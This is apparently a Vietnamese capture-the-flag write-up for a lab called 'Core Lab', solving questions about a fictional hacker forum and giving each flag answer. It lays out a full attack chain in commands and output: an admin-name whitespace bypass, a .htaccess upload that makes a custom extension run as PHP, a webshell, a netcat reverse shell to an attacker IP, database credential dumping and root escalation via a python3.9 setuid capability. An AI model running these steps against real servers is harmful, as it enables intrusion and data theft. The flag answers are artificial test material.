Core Lab

Our Anti-Cybercrime team has received information about illegal activities on a hacker forum. The administrator of the forum conducts his shady business here in secret and every day new members are added to the criminal network. Our team suspects that confidential data is stored on the server of this forum. Your task is to infiltrate the forum as a normal user and collect important information about the administrator. This operation requires careful planning and high technical skills. Our goal is to identify digital criminals and ensure the digital security of society.

Who is the author of “Exploit Development”?

  • Truy cập vào mục tiêu , Vào bài viết có tiêu đề Exploit Development . Ta sẽ Thấy tên tác giả:

==> The Answer : ExploitDev

What is the password for the user account “admin”?

  • Trong câu hỏi đã đề cập tới người dùng admin , qua sát trang web thì thấy có login và tạo tài khoản , 2 nơi này có thể cho ngwuoif dùng nhập vào nên sẽ rất có khả năng Inject . Tôi tạo 1 tài khoản account là admin nó được báo là đã tồn tại , sau đó tôi thêm dấu cách trước admin và đã bypass được nó !. (admin admin)
  • Sau khi login vào tài khoản admin trên web , tôi thấy chức năng post bài viết , tôi thử post 1 bài , tiêu đề là Kai0Kid {{7*7}} , nội dung bài viết là {{7*7}} and {{7*'7'}} , Sau đó chèn 1 file ảnh vào rồi up lên .
  • Khi tải lên thành công thì tiêu đề bài viết và nội dung không có bị thay đổi , vậy có thể kết luận là không bị SSTI , template injection . Tôi nghĩ tới việc up shell , vì trang web cho up ảnh mà .
  • Tôi dùng nmap để scan qua mục tiêu thì có thu hoạch sau :
                    __  __           __         _               
                   / / / /___ ______/ /___   __(_)_______  _____
                  / /_/ / __ `/ ___/ //_/ | / / / ___/ _ \/ ___/
                 / __  / /_/ / /__/ ,<  | |/ / (__  )  __/ /    
                /_/ /_/\__,_/\___/_/|_| |___/_/____/\___/_/     
                                                                

┌─[root@hackerbox]─[~]
└──╼ #nmap -sC -sV coreforum.hv -p-
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-11-10 06:50 CST
Nmap scan report for coreforum.hv (172.20.12.104)
Host is up (0.00029s latency).
Not shown: 65531 closed tcp ports (reset)
PORT      STATE SERVICE VERSION
22/tcp    open  ssh     OpenSSH 8.4p1 Debian 5+deb11u3 (protocol 2.0)
| ssh-hostkey: 
|   3072 2e:c4:78:c6:8e:54:93:96:80:02:e7:fd:18:26:a1:4e (RSA)
|   256 0f:92:e6:7d:b7:58:9d:12:e2:2d:df:54:c6:23:0a:41 (ECDSA)
|_  256 b3:94:dd:c5:08:7c:22:3b:14:c0:01:e0:74:29:62:8c (ED25519)
80/tcp    open  http    Apache httpd 2.4.59 ((Debian))
| http-cookie-flags: 
|   /: 
|     PHPSESSID: 
|_      httponly flag not set
|_http-server-header: Apache/2.4.59 (Debian)
|_http-title: Core Forum - Topics
3306/tcp  open  mysql   MySQL (unauthorized)
33060/tcp open  mysqlx?
| fingerprint-strings: 
|   DNSStatusRequestTCP, LDAPSearchReq, NotesRPC, SSLSessionReq, TLSSessionReq, X11Probe, afp: 
|     Invalid message"
|     HY000
|   LDAPBindReq: 
|     *Parse error unserializing protobuf message"
|     HY000
|   oracle-tns: 
|     Invalid message-frame."
|_    HY000
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port33060-TCP:V=7.94SVN%I=7%D=11/10%Time=6911DF9B%P=x86_64-pc-linux-gnu
SF:%r(NULL,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(GenericLines,9,"\x05\0\0\0\
SF:x0b\x08\x05\x1a\0")%r(GetRequest,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(HT
SF:TPOptions,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(RTSPRequest,9,"\x05\0\0\0
SF:\x0b\x08\x05\x1a\0")%r(RPCCheck,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(DNS
SF:VersionBindReqTCP,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(DNSStatusRequestT
SF:CP,2B,"\x05\0\0\0\x0b\x08\x05\x1a\0\x1e\0\0\0\x01\x08\x01\x10\x88'\x1a\
SF:x0fInvalid\x20message\"\x05HY000")%r(Help,9,"\x05\0\0\0\x0b\x08\x05\x1a
SF:\0")%r(SSLSessionReq,2B,"\x05\0\0\0\x0b\x08\x05\x1a\0\x1e\0\0\0\x01\x08
SF:\x01\x10\x88'\x1a\x0fInvalid\x20message\"\x05HY000")%r(TerminalServerCo
SF:okie,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(TLSSessionReq,2B,"\x05\0\0\0\x
SF:0b\x08\x05\x1a\0\x1e\0\0\0\x01\x08\x01\x10\x88'\x1a\x0fInvalid\x20messa
SF:ge\"\x05HY000")%r(Kerberos,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(SMBProgN
SF:eg,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(X11Probe,2B,"\x05\0\0\0\x0b\x08\
SF:x05\x1a\0\x1e\0\0\0\x01\x08\x01\x10\x88'\x1a\x0fInvalid\x20message\"\x0
SF:5HY000")%r(FourOhFourRequest,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(LPDStr
SF:ing,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(LDAPSearchReq,2B,"\x05\0\0\0\x0
SF:b\x08\x05\x1a\0\x1e\0\0\0\x01\x08\x01\x10\x88'\x1a\x0fInvalid\x20messag
SF:e\"\x05HY000")%r(LDAPBindReq,46,"\x05\0\0\0\x0b\x08\x05\x1a\x009\0\0\0\
SF:x01\x08\x01\x10\x88'\x1a\*Parse\x20error\x20unserializing\x20protobuf\x
SF:20message\"\x05HY000")%r(SIPOptions,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r
SF:(LANDesk-RC,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(TerminalServer,9,"\x05\
SF:0\0\0\x0b\x08\x05\x1a\0")%r(NCP,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(Not
SF:esRPC,2B,"\x05\0\0\0\x0b\x08\x05\x1a\0\x1e\0\0\0\x01\x08\x01\x10\x88'\x
SF:1a\x0fInvalid\x20message\"\x05HY000")%r(JavaRMI,9,"\x05\0\0\0\x0b\x08\x
SF:05\x1a\0")%r(WMSRequest,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(oracle-tns,
SF:32,"\x05\0\0\0\x0b\x08\x05\x1a\0%\0\0\0\x01\x08\x01\x10\x88'\x1a\x16Inv
SF:alid\x20message-frame\.\"\x05HY000")%r(ms-sql-s,9,"\x05\0\0\0\x0b\x08\x
SF:05\x1a\0")%r(afp,2B,"\x05\0\0\0\x0b\x08\x05\x1a\0\x1e\0\0\0\x01\x08\x01
SF:\x10\x88'\x1a\x0fInvalid\x20message\"\x05HY000");
MAC Address: 52:54:00:15:F5:06 (QEMU virtual NIC)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 29.76 seconds
┌─[root@hackerbox]─[~]
└──╼ #
  • Từ kết quả của nmap ta biết được rằng server dùng Apache/2.4.59 và Database là Mysql .
  • Sau đó tôi đã up lên 1 file .htaccess , đây là 1 file config của Apache . file này khi được up lên sẽ được áp dụng ngay mà không cần restart lại server . Nó có tác dụng cho thư mục chứa nó và các thư mục con . Ý tưởng của tôi là dùng nó để cho server thực thi các file có mở rộng .kai0kid thực thi php . chọn php vì trên Apache có sẵn module php . nếu python hoặc khác thì hên xui :)) . Khi tải lên server , nếu thư mục đã có 1 file .htaccess thì nó sẽ xóa file cũ và dùng file mới. Chi tiết hơn thì hãy hỏi Deepseek hoặc google search .
  • Tôi tạo 1 file abc.htaccess , và nó có nội dung như sau :
AddType application/x-httpd-php .kai0kid
  • Sau đó tôi dùng burp suite để chặn và sửa đổi nội dung request , Tôi chỉnh abc.htaccess thành .htaccess (Xóa abc ở đằng trước dấu .).
  • Sau đó tôi vào trang revshell để lấy webshell , Tôi lựa chọn P0wny shell , có thể dùng revshell khác tùy thích .
  • Tạo 1 file tên shell.kai0kid và nội dung của nó chính là revshell đã lấy . Xong hết rồi thì upload nó lên server .
  • Khi upload lên thì tôi cần biết nó nằm ở đâu để thực thi nó , tôi vào các bài viết bình thường khác , mở bức ảnh trong tab mới thì trên url cho biết rằng các file được tải lên sẽ nằm ở /uploads . Tôi truy cập webshell và mở 1 shell tới máy attacker .
www-data@debian:…/www/html# nc -c bash 172.20.12.153 888
  • Trên máy attacker phải mở lắng nghe :
┌─[✗]─[root@hackerbox]─[~]
└──╼ #nc -lvp 888
  • Khi có shell , tôi dùng lệnh sau để có 1 shell hoàn chỉnh hơn (cho dễ nhìn hơn và đẹp mắt hơn chứ cũng không có tác dụng gì khác :V ).
python3 -c 'import pty; pty.spawn("/bin/bash")'
  • Đọc file dbconnect.php thì biết được thông tin để kết nối với database , vì đã scan được rằng server này dùng mysql nên tôi sẽ tìm thông tin trong này để connect database.
www-data@debian:…/www/html# ls
addPost.php
add_topic.php
dbconnect.php
index.php
login.php
logout.php
profile.php
register.php
registerControl.php
set_session.php
show_post.php
topics
uploads

www-data@debian:…/www/html# cat dbconnect.php
<?php

$servername = "localhost";
$db_username = "root";
$db_password = "mUsQ6kQ6L86yRnzD";
$dbname = "hacker";

try {
    $dsn = "mysql:host=$servername;dbname=$dbname;charset=utf8mb4";
    $options = [
        PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION,
        PDO::ATTR_DEFAULT_FETCH_MODE => PDO::FETCH_ASSOC,
        PDO::ATTR_EMULATE_PREPARES => false,
    ];

    $pdo = new PDO($dsn, $db_username, $db_password, $options);
} catch (PDOException $e) {
    die("error: " . $e->getMessage());
}

?>

www-data@debian:/var/www/html$ mysql -u root -p
mysql -u root -p
Enter password: mUsQ6kQ6L86yRnzD
mysql> show databases;
show databases;
+--------------------+
| Database           |
+--------------------+
| hacker             |
| information_schema |
| mysql              |
| performance_schema |
| sys                |
+--------------------+
5 rows in set (0.01 sec)

mysql> use hacker
use hacker
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A

Database changed
mysql> show tables;
show tables;
+------------------+
| Tables_in_hacker |
+------------------+
| files            |
| users            |
+------------------+
2 rows in set (0.01 sec)

mysql> select * from users;
select * from users;
+----+----------+------------------+
| id | username | password         |
+----+----------+------------------+
|  1 | admin    | LrEVgETDEUDVAdCa |
| 13 |  admin   | 123456           |
+----+----------+------------------+
2 rows in set (0.00 sec)

mysql> 

==> The Answer : LrEVgETDEUDVAdCa


What is the last logged in IP address of the user “admin”?

  • Đọc file profile.php Thì tôi tìm thấy đáp án cho câu hỏi này :




www-data@debian:…/www/html# ls
addPost.php
add_topic.php
dbconnect.php
index.php
login.php
logout.php
profile.php
register.php
registerControl.php
set_session.php
show_post.php
topics
uploads

www-data@debian:…/www/html# cat profile.php
<?php
session_start();
if(!isset($_SESSION["username"])){
    header("Location:login.php");
    exit();
}

?>
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Core Forum - Profile</title>
    <style>
        body {
            font-family: 'Courier New', Courier, monospace;
            background-color: #0d0d0d;
            color: #00ff00;
            margin: 0;
            padding: 0;
        }
        header {
            background-color: #1a1a1a;
            padding: 20px;
            text-align: center;
            border-bottom: 2px solid #00ff00;
        }
        header h1 {
            margin: 0;
        }
        nav ul {
            list-style-type: none;
            padding: 0;
        }
        nav ul li {
            display: inline;
            margin: 0 15px;
        }
        nav ul li a {
            color: #00ff00;
            text-decoration: none;
            cursor: pointer;
        }
        main {
            padding: 20px;
        }
        .profile-info {
            background-color: #1a1a1a;
            padding: 20px;
            border: 1px solid #00ff00;
            margin-bottom: 20px;
        }
        footer {
            text-align: center;
            padding: 20px;
            background-color: #1a1a1a;
            border-top: 2px solid #00ff00;
        }
    </style>
</head>
<body>
    <header>
        <h1>Core Forum</h1>
        <nav>
            <ul>
                <li><a href="index.php">Home</a></li>

                <li><a href="addPost.php">Add Post</a></li>
                <li><a href="logout.php">Logout</a></li>

            </ul>
        </nav>
    </header>
    <main>
    <div class="profile-info">
        <h2>User Profile</h2>
        <p>Username: <?php echo htmlspecialchars($_SESSION['username']); ?></p>
        <?php
        if (isset($_SESSION["admin"]) && $_SESSION["admin"] == "true") {
            echo '<p>Ip address of the last session: 129.45.42.32</p>';
        }else
            echo '<p>Ip address of the last session: 194.142.141.121</p>';
        ?>
        <p>Location: New York</p>
        <p>Bio: Lorem ipsum dolor sit amet, consectetur adipiscing elit.</p>
    </div>
</main>
    <footer>
        <p>&copy; 2024 Core Forum</p>
    </footer>
</body>
</html>

www-data@debian:…/www/html#

==> The Answer : 129.45.42.32

What is the domain address of the last website on the hackers target list?

  • Sau khi tìm kiếm 1 lúc cũng không thấy được gì liên quan tới câu hỏi này , tôi nghĩ là nó nằm trong /root , Như vậy thì tôi phải leo thang đặc quyền để có quyền root .
  • Tôi sẽ dùng getcap để tìm các file có thể thực thi với quyền root (các file đã được bật SUID , Thắc mắc hãy tra Chat Ai hoặc google search nhé :> . Bạn cũng có thể dùng lệnh find để tìm các file đã bật suid “find / -perm -4000 2>/dev/null” ).
www-data@debian:/var/www/html$ getcap / -r 2>/dev/null
getcap / -r 2>/dev/null
/usr/bin/ping cap_net_raw=ep
/usr/bin/python3.9 cap_setuid=ep
www-data@debian:/var/www/html$ 
  • Tôi thấy python3.9 có quyền setuid , điều này có nghĩa là tôi có thể mở 1 shell mới và chỉnh phiên shell đó với uid=0 , nghĩa là root !
www-data@debian:/var/www/html$ getcap / -r 2>/dev/null
getcap / -r 2>/dev/null
/usr/bin/ping cap_net_raw=ep
/usr/bin/python3.9 cap_setuid=ep
www-data@debian:/var/www/html$ 

www-data@debian:/var/www/html$ python3.9 -c 'import os; os.setuid(0); os.system("/bin/bash")'
<c 'import os; os.setuid(0); os.system("/bin/bash")'
root@debian:/var/www/html# whoami
whoami
root
root@debian:/var/www/html# cd /root
cd /root
root@debian:/root# ls
ls
domains.txt  private.txt
root@debian:/root# cat domains.txt
cat domains.txt
xyzzhv.hv
qwerhv.hv
bliphv.hv
foobahv.hv
zappihv.hv
quuxhv.hv
snarphv.hv
wizgohv.hv
flibberhv.hv
gloophv.hv
root@debian:/root# 

==> The Answer : gloophv.hv

What is the phone number of the hacker named “Mateo Rodriguez”?

  • Đọc file private.txt là có đáp án thôi :>>> !
root@debian:/root# cat private.txt
cat private.txt
User Phone: 246-154-8020 User Code: ABCDEFG - Name: Sebastian Smith
User Phone: 408-583-1762 User Code: HIJKLMN - Name: Isabella Johnson
User Phone 994-608-8332	User Code: OPQRSTU - Name: Alexander Williams
User Phone 691-198-3452	User Code: VWXYZAB - Name: Sofia Brown
User Phone 315-508-4577	User Code: CDEFGHI - Name: Gabriel Jones
User Phone 437-101-4217	User Code: JKLMNOP - Name: Valentina Martinez
User Phone 395-505-5487	User Code: QRSTUVW - Name: Leonardo Garcia
User Phone 209-959-7544	User Code: XYZABCD - Name: Mia Lopez
User Phone 774-288-3197	User Code: CMRYNGC - Name: Mateo Rodriguez
User Phone 634-804-1762	User Code: LMNOPQR - Name: Emma Hernandez
root@debian:/root# 

==> The Answer : 774-288-3197

Core Lab

Author

Kai0Kid

Publish Date

11 - 09 - 2025

License

Unlicensed

Avatar
Kai0Kid

Bạn tìm gì ở tôi ?